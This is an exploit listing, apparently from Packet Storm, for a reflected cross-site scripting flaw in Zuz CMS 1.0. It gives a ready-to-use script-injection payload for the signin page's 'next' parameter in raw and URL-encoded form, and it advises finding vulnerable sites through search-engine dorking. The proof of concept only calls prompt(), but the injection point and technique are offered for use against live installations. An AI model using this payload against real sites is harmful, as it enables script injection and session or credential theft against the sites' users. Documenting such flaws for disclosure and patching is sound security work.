Exploit for Zuz CMS 1.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:173351
====================================================================================================================================  
| # Title : Zuz CMS v1.0 XSS Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0.1(32-bit) |   
| # Vendor : https://zuz.host/ |   
====================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Use payload : /account/signin?next=https://zuz.host/hire/new-project'%22()%26%25<acx><ScRiPt%20>prompt(/indoushka/)</ScRiPt>  
  
[+] https://localhost/account/signin?next=https://zuz.host/hire/new-project%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka%20from%20algeria/)%3C/ScRiPt%3E  
  
Greetings to :=================================================================  
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |  
===============================================================================